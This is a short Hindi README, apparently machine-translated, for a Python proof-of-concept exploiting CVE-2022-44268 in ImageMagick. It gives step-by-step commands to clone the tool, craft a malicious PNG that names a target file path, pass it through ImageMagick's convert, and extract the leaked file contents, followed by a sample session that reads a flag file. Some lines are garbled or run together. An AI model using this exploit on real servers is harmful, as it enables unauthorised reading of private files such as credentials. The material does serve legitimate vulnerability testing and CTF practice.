
Python में लिखा गया CVE-2022-44268 के लिए पेलोड जनरेटर और एक्सट्रैक्टर।
इसकी खोज करने वाले शोधकर्ताओं को श्रेय:
एक दुर्भावनापूर्ण PNG बनाएं ImageMagick 7.1.0-40 का लाभ उठाने के लिए:
अस्वीकरण: इस परियोजना के लेखक इस परियोजना की सामग्री से होने वाले किसी भी संभावित नुकसान के लिए जिम्मेदार नहीं हैं।
pip install Pillow)craft.py के साथ PNG तैयार करना:
git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file
extract.py के साथ डेटा निष्कर्षण:
python3 extract.py exfil.png
anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC
anon@computer:~/code/cve-2022-44268$